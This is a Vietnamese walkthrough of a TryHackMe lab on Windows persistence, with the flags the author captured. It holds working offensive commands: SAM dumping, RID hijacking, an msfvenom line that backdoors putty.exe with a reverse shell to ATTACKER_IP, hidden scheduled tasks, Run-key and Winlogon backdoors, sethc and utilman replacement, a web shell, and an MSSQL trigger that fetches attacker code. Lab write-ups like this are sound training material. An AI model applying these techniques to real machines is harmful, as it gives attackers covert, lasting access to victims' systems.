Các hành động thực hiện trong room này giả định là ta đã leo lên quyền admin trước đó.
Tampering With Unprivileged Accounts
Truy cập bằng tài khoản admin là cách dễ nhất để tạo ra persistence nhưng nó lại dễ bị phát hiện bởi blue team. Thay vào đó, chúng ta có thể sử dụng các tài khoản có quyền thấp hơn mà không bị giám sát để tạo persistence rồi leo lên tài khoản có quyền cao sau.
Không có quyền truy cập file C:\Windows\System32\config.
Xem file C:\inetpub\wwwroot\web.config thì có được username và password của SQL Server:
PS C:\> type web.config<?xml version="1.0" encoding="UTF-8"?><!-- For more information on how to configure your ASP.NET application, please visit http://go.microsoft.com/fwlink/?LinkId=169433 --><configuration> <system.web> <compilation debug="true" targetFramework="4.0" /> </system.web> <connectionStrings> <add connectionString="Data Source=.\SQLEXPRESS;User ID=employeeapp;Password=MyPassword123" name="EmployeeDB" /> </connectionStrings></configuration>
Mở SSMS lên rồi mà không cần tài khoản, trong database HRDB có bảng Employees có một dòng như sau:
Đăng nhập vào tài khoản trên thì cũng không có gì khác biệt.
Trong C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config không có đề cập gì đến password nhưng lại có connection string:
whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State========================================= ================================================================== ========...SeBackupPrivilege Back up files and directories DisabledSeRestorePrivilege Restore files and directories Disabled...
Thấy có quyền SeBackupPrivilege/SeRestorePrivilege (cho phép đọc/ghi tất cả các file trong hệ thống và bỏ qua DACL1) nên ta kiểm tra các share của hệ thống. Trong Computer Management có 3 share là ADMIN$, IPC$, C$. Cũng có thể enumerate thông qua smbclient:
smbclient -L //10.10.5.194/ADMIN$ -U Administrator%Password321 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPCSMB1 disabled -- no workgroup available
Tiến hành lưu file system.hive và sam.hive:
PS C:\> reg save hklm\system C:\Windows\system.hiveThe operation completed successfully.PS C:\> reg save hklm\sam C:\Windows\sam.hiveThe operation completed successfully.
Info
SAM hay Security Accounts Manager là một file cơ sở dữ liệu của hệ điều hành Windows chứa username và password.
Kết nối đến share ADMIN$ từ attacking machine (Linux):
Có thể thấy trong file danh sách các password bị hash thì password của thmuser# (với # từ 0 đến 3) giống với password của Administrator (là Password321). Ngoài ra, Guest và DefaultAccount có password giống nhau là một chuỗi rỗng. Như vậy, hai password chưa biết là của user WDAGUtilityAccount và thmuser4.
Attention
Làm đến đây thì mới nhận ra là ta cần tạo ra persistence (một tài khoản hay session nào đó để vào lại sau) chứ không phải là leo thang (đã ở tài khoản admin sẵn). Mặc dù vậy, việc crack password là hữu ích vì mô tả của task có đoạn như sau:
For this part of the task, we will assume you have dumped the password hashes of the victim machine and successfully cracked the passwords for the unprivileged accounts in use.
Assign Group Memberships
Cách đơn giản nhất để làm cho một tài khoản có các đặc quyền là thêm tài khoản đó vào administrators group. Chúng ta có thể làm điều này như sau:
net localgroup administrators thmuser0 /add
Câu lệnh trên sẽ giúp thmuser0 có quyền sử dụng RDP, WinRM (giống SSH) hoặc các dịch vụ quản trị từ xa.
Tuy nhiên, việc làm này khá đáng ngờ. Thay vào đó, ta có thể thêm user vào “Backup Operators” group:
net localgroup "Backup Operators" thmuser1 /add
Người dùng trong group này không có các đặc quyền quản trị nhưng được phép đọc/ghi bất kỳ tập tin hoặc registry nào trên hệ thống (có quyền SeBackupPrivilege và quyền SeRestorePrivilege). Điều này cho phép ta có thể thực hiện việc crack password như trên khi leo thang đặc quyền về sau.
Do group này không có các quyền quản trị nên ta không thể thực hiện được việc RDP hoặc WinRM trừ khi ta gán user vào các group tương ứng:
net localgroup "Remote Management Users" thmuser1 /add
Đăng nhập vào user thmuser1 thông qua WinRM để kiểm tra quyền quản lý từ xa:
Kết quả là ta đã đăng nhập được. Tuy nhiên, mặc dù đã được thêm vào nhóm quyền "Backup Operators" nhưng ta không thể export được SAM:
*Evil-WinRM* PS C:\Users\thmuser1> reg save hklm\sam sam.bakreg.exe : ERROR: Access is denied. + CategoryInfo : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError
Xem nhóm quyền thì thấy nhóm quyền “BUILTIN\Backup Operators” đã bị từ chối:
*Evil-WinRM* PS C:\Users\thmuser1\Documents> whoami /groupsGROUP INFORMATION-----------------Group Name Type SID Attributes====================================== ================ ============ ==================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupBUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny onlyNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled groupMandatory Label\Medium Mandatory Level Label S-1-16-8192
Lý do là vì tính năng LocalAccountTokenFilterPolicy của UAC2 đã loại bỏ các đặc quyền quản trị của các tài khoản local khi đăng nhập từ xa. Để có thể bypass được tính năng này, ta dùng lệnh sau:
Trong lúc tìm cách bật WinRM ở host (ban đầu tưởng chưa bật) thông qua câu lệnh winrm quickconfig thì nó cũng vô tình bật LocalAccountTokenFilterPolicy
Sau khi bật LocalAccountTokenFilterPolicy thì đã có thể export file SAM và file SYSTEM:
*Evil-WinRM* PS C:\Users\thmuser1> reg save hklm\system system.bakThe operation completed successfully.*Evil-WinRM* PS C:\Users\thmuser1> reg save hklm\sam sam.bakThe operation completed successfully.
Có thể không cần crack password mà dùng chế độ Pass-the-Hash của Evil-WinRM để đăng nhập như sau:
Thay vì thêm user vào các nhóm quyền, chúng ta có thể gán cho các user đó trực tiếp quyền của nhóm quyền thông qua câu lệnh secedit. Trước tiên, ta cần export cấu hình hiện tại ra một file tạm:
secedit /export /cfg config.inf
Chúng ta mở file và thêm tên người dùng vào quyền mà ta cần gán:
Sau đó, chúng ta chuyển file .inf thành file .sdb để nạp cấu hình vào hệ thống:
Mặc dù user đã có các đặc quyền của nhóm quyền “Backup Operators” nhưng ta vẫn chưa thể truy cập từ xa bằng tài khoản của user. Thay vì thêm user vào nhóm quyền “Remote Management Users”, chúng ta có thể chỉnh security descriptor (có thể xem như là một ACL - Access Control List) của dịch vụ WinRM để user thmuser2 có thể kết nối từ xa.
Mở cửa sổ cấu hình của WinRM thông qua câu lệnh sau (chúng ta cần sử dụng giao diện để cấu hình):
*Evil-WinRM* PS C:\Users\thmuser2\Documents> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ============================== =======SeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Note
Lưu ý là ta cũng cần phải bật
User thmuser2 có thể backup file SAM:
*Evil-WinRM* PS C:\Users\thmuser2\Documents> reg save hklm\sam sam.bakThe operation completed successfully.
Khi kiểm tra nhóm quyền của user thmuser2 thì kết quả cho thấy nó trông giống như một user bình thường:
*Evil-WinRM* PS C:\Users\thmuser2\Documents> net user thmuser2User name thmuser2...Local Group Memberships *UsersGlobal Group memberships *None
Đăng nhập vào thmuser2 thông qua tính năng Pass-the-Hash:
Một cách khác để có các đặc quyền quản trị là thay đổi các giá trị registry để hệ điều hành nghĩ chúng ta là admin.
Khi một người dùng được tạo ra thì sẽ có một ID có tên là relative ID (RID) được gán cho người dùng. Khi người dùng đăng nhập vào tài khoản thì tiến trình LSASS (Local Security Authority Subsystem Service) sẽ lấy RID của người dùng từ SAM registry để tạo ra access token tương ứng với RID đó3. Nếu chúng ta có thể giá trị registry thì có thể làm cho Windows gán administrator access token cho một người dùng không có đặc quyền.
Trong các hệ thống Windows, tài khoản administrator mặc định được gán RID = 500 và các người dùng thông thường có RID lớn hơn hoặc bằng 100. Để tìm các RID được gán cho các người dùng, ta có thể dùng lệnh sau:
RID là phần cuối cùng của SID (1010 cho thmuser3 và 500 cho Aministrator). Việc cần làm là gán RID của thmuser3 thành 500. Để làm điều này thì ta cần truy cập vào SAM thông qua Regedit. SAM bị giới hạn cho các tài khoản SYSTEM nên kể cả administrator cũng không thể truy cập được.
Để chạy Regedit dưới danh nghĩa của SYSTEM, ta cần dùng tool psexec:
C:\tools\pstools> PsExec64.exe -i -s regedit
Ở trong Regedit, ta vào đường dẫn HKLM\SAM\SAM\Domains\Account\Users\. Mỗi user sẽ có một key, và ta cần tìm key tương ứng với user thmuser3. Mỗi key có một giá trị gọi là F. Trong F sẽ chứa RID của user dưới dạng little endian. Do RID của thmuser3 là 1010 = 0x03F2 nên ta cần tìm giá trị F2 03.
Khi tìm được thì ta chỉ việc thay thế giá trị đó thành 500 = 0x01F4 (F4 01 ở dạng little endian):
Đăng nhập vào thông qua RDP có thể hoạt động dưới danh nghĩa của administrator.
Chạy file C:\flags\flag3.exe và có được flag.
Success
THM{TRUST_ME_IM_AN_ADMIN}
Backdooring Files
Một cách khác để tạo persistence là thay đổi những file mà người dùng sử dụng thường xuyên. Cụ thể, chúng ta có thể thiết lập sao cho khi người dùng truy cập vào file thì sẽ có một backdoor được cấy vào máy và thực thi.
Executable Files
Các shortcut ở trong desktop có thể là các chương trình mà người dùng sử dụng nhiều. Giả sử ta tìm được shortcut đến PuTTY và executable file của nó ở C:\Program Files\PuTTY\putty.exe. Chúng ta có thể tải file này về rồi chỉnh sửa để nó thực thi bất kỳ payload nào mà ta muốn.
Để cấy payload vào một executable file bất kỳ, ta có thể dùng msfvenom. Công cụ này sẽ thêm một luồng vào binary file để chạy payload. Ví dụ, để tạo một backdoor cho file putty.exe, ta có thể dùng lệnh như sau:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
File puttyX.exe được tạo ra sẽ thiết lập reverse shell bất cứ khi nào sử dụng nó.
Shortcut Files
Nếu chúng ta không muốn thay đổi file thực thi thì có thể thay đổi shortcut. Cụ thể, chúng ta sẽ thiết lập shortcut thực thi script để tạo backdoor rồi mới chạy file thực thi gốc.
Ví dụ, xét chương trình calc có đường dẫn đến file thực thi như sau:
Tạo script để thiết lập reverse shell ở trong C:\Windows\System32:
Chú ý rằng việc thay đổi đường dẫn file thực thi có thể làm thay đổi icon nên ta cần phải thay icon về lại như cũ. Đồng thời, để chương trình được thực thi dưới nền thì ta có thể thêm option -WindowStyle hidden.
Chạy netcat listener rồi chạy shortcut để nhận reverse shell. Sau đó chạy file C:\flags\flag5.exe thì có được cờ.
Success
THM{NO_SHORTCUTS_IN_LIFE}
Hijacking File Associations
Chúng ta có thể thiết lập chương trình mở file cho tất cả các loại file là shell để tạo reverse shell.
Hệ điều hành lưu chương trình tương ứng với từng loại file ở trong registry HKLM\Software\Classes\. Giả sử ta muốn kiểm tra xem chương trình nào được dùng để mở file .txt, ta có thể chọn subkey là .txt rồi xem giá trị của ProgID:
ProgID chỉ đơn giản là ID của chương trình đã được cài đặt trên hệ thống.
Sau đó, chúng ta tìm kiếm ở trong HKLM\Software\Classes\txtfile\shell\open\command để tìm câu lệnh dùng để mở file.
Trong hình trên, bất cứ khi nào ta mở file .txt thì chương trình sẽ gọi lệnh %SystemRoot%\system32\NOTEPAD.EXE %1 với %1 là tên của file cần mở. Chúng ta có thể thay thế chương trình thực thi thành câu lệnh thực thi script sau:
Cách này có một điểm yếu: khi mở file text thì Windows vẫn hiển thị hộp thoại để người dùng chọn chương trình mở file. Lúc này người dùng có thể chọn Notepad thay vì PowerShell.
Sau khi có reverse shell thì chạy file C:\flags\flag6.exe để có cờ.
Success
THM{TXT_FILES_WOULD_NEVER_HURT_YOU}
Abusing Services
Chúng ta có thể lạm dụng các dịch vụ chạy ngầm (service) để mở kết nối từ xa bất cứ khi nào người dùng mở máy. Có hai cách để tạo persistence từ các service: tạo một service mới hoặc chỉnh sửa service có sẵn.
Creating Backdoor Services
Chúng ta có thể tạo ra một service có tên là “THMservice” bằng các câu lệnh sau:
Service trên sẽ set password của tài khoản Administrator thành Passwd123 bất cứ khi nào nó được chạy. Và do có option start= auto nên nó sẽ tự chạy mà không cần sự tương tác từ người dùng.
Ngoài việc thay password thì ta cũng có thể tạo reverse shell. Chạy msfvenom để tạo ra file thực thi của service:
Sau khi có reverse shell thì chạy file C:\flags\flag7.exe để thu được cờ.
Success
THM{SUSPICIOUS_SERVICES}
Modifying Existing Services
Blue team có thể phát hiện ra hành vi tạo service nên ta có thể sử dụng lại các service sẵn có, đặc biệt là các service bị disable bởi vì chúng ta có thể thay đổi chúng mà không bị ai để ý.
Truy vấn các service không hoạt động:
sc.exe query state=inactive
Nếu tìm được service nào đã dừng hoạt động thì ta có thể tra cứu thông tin chi tiết về service đó:
sc.exe qc THMService3[SC] QueryServiceConfig SUCCESSSERVICE_NAME: THMService3 TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\MyService\THMService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : THMService3 DEPENDENCIES : SERVICE_START_NAME : NT AUTHORITY\Local Service
Có ba thứ ta cần quan tâm:
File thực thi của service (BINARY_PATH_NAME).
Loại khởi chạy của service (START_TYPE) nên là tự động để không cần tương tác người dùng.
Tài khoản chạy service (SERVICE_START_NAME) nên có giá trị là LocalSystem để có thể thực hiện những đặc quyền thuộc SYSTEM.
Option /ru chỉ định task sẽ chạy với các đặc quyền hệ thống.
Task trên sẽ chạy mỗi 1 phút. Tuy nhiên, trong thực tế thì ta không nên để task chạy quá thường xuyên nếu không muốn bị phát hiện.
Truy vấn thông tin task:
schtasks /query /tn thm-taskbackdoorFolder: \TaskName Next Run Time Status======================================== ====================== ===============thm-taskbackdoor 3/28/2024 9:03:00 AM Ready
Chạy file C:\flags\flag9.exe và ta có được flag.
Success
THM{JUST_A_MATTER_OF_TIME}
Making Our Task Invisible
Nếu có một người dùng nào đó truy vấn danh sách các task thì task của chúng ta có thể bị phát hiện. Khi đó, ta cần giấu task đi bằng cách xóa Security Descriptor (SD). Việc xóa SD của task đồng nghĩa với việc ta không cho phép tất cả các user truy vấn thông tin về nó.
SD của tất các các task nằm trong registry KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. Mở registry với quyền SYSTEM:
C:\tools\pstools\PsExec64.exe -s -i regedit
Truy cập vào task rồi xóa SD:
Thử truy vấn lại thì thấy task không tồn tại:
PS C:\Users\Administrator> schtasks /query /tn thm-taskbackdoorERROR: The system cannot find the file specified.
Logon Triggered Persistence
Chúng ta có thể cấy payload vào hệ thống để thực thi khi người dùng đăng nhập.
Startup Folder
Mỗi người luôn có một thư mục C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup dùng để chứa các file thực thi sẽ được chạy bất cứ khi nào người dùng đăng nhập. Attacker chỉ việc đặt file thực thi vào thư mục này. Hơn thế nữa, nếu ta muốn toàn bộ các user đều thực thi file thực thi thì có thể đặt nó vào thư mục C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
Logout ra khỏi hệ thống để đăng nhập lại. Chờ một chút sẽ nhận được một reverse shell. Chạy file C:\flags\flag.exe để nhận được flag.
Success
THM{NO_NO_AFTER_YOU}
Run / RunOnce
Chúng ta cũng có thể ép người dùng thực thi một chương trình thông qua registry. Thay vì đặt payload vào một thư mục cụ thể, ta có thể dùng các registry sau để chỉ định ứng dụng cần chạy khi người dùng đăng nhập:
Registry thuộc HKCU chỉ áp dụng cho người dùng hiện tại, còn HKLM thì sẽ áp dụng cho tất cả các người dùng. Các chương trình đặt trong Run sẽ được chạy mỗi khi user đăng nhập còn ở trong RunOnce thì sẽ chỉ chạy một lần duy nhất.
Sau khi tải về ở máy nạn nhân, ta di chuyển reverse shell qua thư mục C:\Windows:
move revshell.exe C:\Windows
Tạo một REG_EXPAND_SZ registry (có kiểu là Expandable String Value) có tên là MyBackdoor ở trong key HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
Chạy netcat server, đăng xuất rồi đăng nhập lại ở máy nạn nhân rồi ta sẽ nhận được một reverse shell.
Chạy file C:\flags\flag11.exe thì sẽ có được cờ.
Success
THM{LET_ME_HOLD_THE_DOOR_FOR_YOU}
Winlogon
Là một chương trình nạp lên profile của người dùng sau khi đăng nhập. Chúng ta có thể lợi dụng chương trình này để tạo ra persistence.
Registry của Winlogon ở key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ và có hai entry thú vị:
UserInit trỏ đến userinit.exe để khôi phục lại profile.
shell trỏ đến shell của hệ thống, thường là explorer.exe.
Chúng ta có thể chỉnh sửa một trong hai file thực thi trên để tạo reverse shell. Thậm chí, chúng ta cũng không cần thay thế mà chỉ cần thêm câu lệnh thực thi payload phía sau câu lệnh gốc (ngăn cách bởi dấu phẩy).
Chạy netcat server, đăng xuất và đăng nhập lại thì ta sẽ có được reverse shell.
Chạy file C:\flags\flag12.exe để có cờ.
Success
THM{I_INSIST_GO_FIRST}
Logon Scripts
File thực thi userinit.exe sẽ thực hiện kiểm tra biến môi trường UserInitMprLogonScript khi nạp profile. Ta có thể dùng biến môi trường này để tạo reverse shell. Lưu ý, biến này không được set mặc định nên ta cần tạo ra và gán bất kỳ script nào ta muốn.
Truy cập vào registry ở key HKCU\Environment và tạo entry UserInitMprLogonScript để trỏ đến reverse shell như sau:
Note
Lưu ý là registry trên thuộc HKCU nên nó chỉ áp dụng cho người dùng hiện tại.
Chạy netcat server, đăng xuất và đăng nhập lại thì ta sẽ có được reverse shell.
Chạy file C:\flags\flag13.exe để có cờ.
Success
Backdooring the Login Screen/RDP
Nếu có thể truy cập vật lý vào máy (hoặc có RDP) thì ta có thể tạo backdoor tại màn hình đăng nhập để truy cập terminal mà không cần đăng nhập.
Sticky Keys
Khi sử dụng Sticky Keys, chúng ta không thể sử dụng tổ hợp phím mà chỉ có thể nhấn từng phím một.
Để tạo persistence thông qua Sticky Keys, chúng ta sẽ sử dụng một shortcut được enable mặc định trên Windows cho phép kích hoạt Sticky Keys bằng cách nhấn nút SHIFT 5 lần:
Về bản chất, khi nhấn phím SHIFT 5 lần, Windows sẽ thực thi file C:\Windows\System32\sethc.exe. Chúng ta có thể thay thế executable file này bằng cmd.exe để mở terminal.
Trước khi ghi đè sethc.exe, chúng ta cần lấy quyền sở hữu của file và cấp quyền cho user hiện tại quyền chỉnh sửa.
PS C:\Users\Administrator> takeown /f C:\Windows\System32\sethc.exeSUCCESS: The file (or folder): "C:\Windows\System32\sethc.exe" now owned by user "WPERSISTENCE\Administrator".PS C:\Users\Administrator> icacls C:\Windows\System32\sethc.exe /grant Administrator:Fprocessed file: C:\Windows\System32\sethc.exeSuccessfully processed 1 files; Failed processing 0 filesPS C:\Users\Administrator> copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Lock session hiện tại rồi nhấn SHIFT 5 lần để mở terminal. Chạy file C:\flags\flag14.exe để có được cờ
Success
THM{BREAKING_THROUGH_LOGIN}
Utilman
Là một công cụ dùng để cung cấp những tùy chọn truy cập dễ dàng (Ease of Access) ở màn hình đăng nhập:
Về bản chất, khi ta nhấn nút của Utilman thì Windows sẽ chạy file C:\Windows\System32\Utilman.exe với đặc quyền SYSTEM. Nếu có thể thay thế file thực thi này bằng cmd.exe thì ta sẽ bypass được việc đăng nhập.
Làm tương tự như khi thay thế sethc.exe:
PS C:\Users\Administrator> takeown /f C:\Windows\System32\utilman.exeSUCCESS: The file (or folder): "C:\Windows\System32\utilman.exe" now owned by user "WPERSISTENCE\Administrator".PS C:\Users\Administrator> icacls C:\Windows\System32\utilman.exe /grant Administrator:Fprocessed file: C:\Windows\System32\utilman.exeSuccessfully processed 1 files; Failed processing 0 filesPS C:\Users\Administrator> copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Lock session, nhấn nút Ease of Access rồi chạy file C:\flags\flag15.exe để thu được cờ.
Success
THM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}
Persisting Through Existing Services
Nếu ta không muốn sử dụng các chức năng của Windows để giấu backdoor thì có thể dùng các dịch vụ khác sẵn có trên máy.
Using Web Shells
Cách phổ biến để có persistence thông qua web server là upload web shell vào thư mục của trang web. Cách này sẽ cho phép ta sử dụng shell dưới quyền của các user được cấu hình trong IIS (mặc định là iis apppool\defaultapppool). Mặc dù đây là một user không có đặc quyền nhưng nó có quyền SeImpersonatePrivilege. Ta có thể tận dụng quyền này để thực hiện leo thang đặc quyền4.
Sao chép code của ASP.NET web shell vào một file rồi chuyển vào thư mục C:\inetpub\wwwroot của máy nạn nhân:
C:\> move shell.aspx C:\inetpub\wwwroot\
Note
Nếu ta gặp lỗi “Permission Denied” khi truy cập đến URL của shell thì có nghĩa là server không có quyền truy cập đến file. Khi đó ta cần cấp quyền cho tất cả mọi người như sau: icacls shell.aspx /grant Everyone:F.
Sau khi thiết lập xong thì ta có thể dùng web shell ở URL http://IP/shell.aspx như sau:
Warning
Việc dùng web shell làm backdoor khá là thuận tiện nhưng nó dễ bị phát hiện bởi Blue team do họ liên tục kiểm tra tính toàn vẹn của file trong các thư mục web.
Sử dụng lệnh /c C:\flags\flag16.exe trên web shell để thu được cờ.
Success
THM{EZ_WEB_PERSISTENCE}
Using MSSQL as a Backdoor
Có nhiều cách để cấy backdoor ở trong Microsoft SQL Server. Một trong số đó là kích hoạt trigger khi người dùng đăng nhập, insert, update hoặc delete data.
Trước khi tạo trigger thì ta cần bật stored procedure xp_cmdshell để chạy các câu lệnh hệ thống. Bật như sau:
Sau đó, ta cần đảm bảo bất kỳ website nào truy cập database đều có thể chạy xp_cmdshell. Theo mặc định, chỉ những người dùng với quyền sysadmin mới có thể làm điều này. Ta cần cấp quyền giả dạng tài khoản sa (database administrator mặc định) cho tất cả người dùng:
USE masterGRANT IMPERSONATE ON LOGIN::sa to [Public];
Sử dụng database HRDB:
USE HRDB
Trigger bên dưới sử dụng xp_cmdshell để thực thi PowerShell nhằm tải về một file .ps1 từ web server của attacker. Điều kiện kích hoạt trigger là khi có câu lệnh INSERT vào bảng Employees trong database HRDB:
là danh sách điều khiển truy cập tùy quyền (DAC) được sử dụng bởi Windows nhằm kiềm soát ai được phép truy cập tài nguyên nào. Tài nguyên có thể là tập tin, các registry key, các dịch vụ và các tác vụ được lập lịch. ↩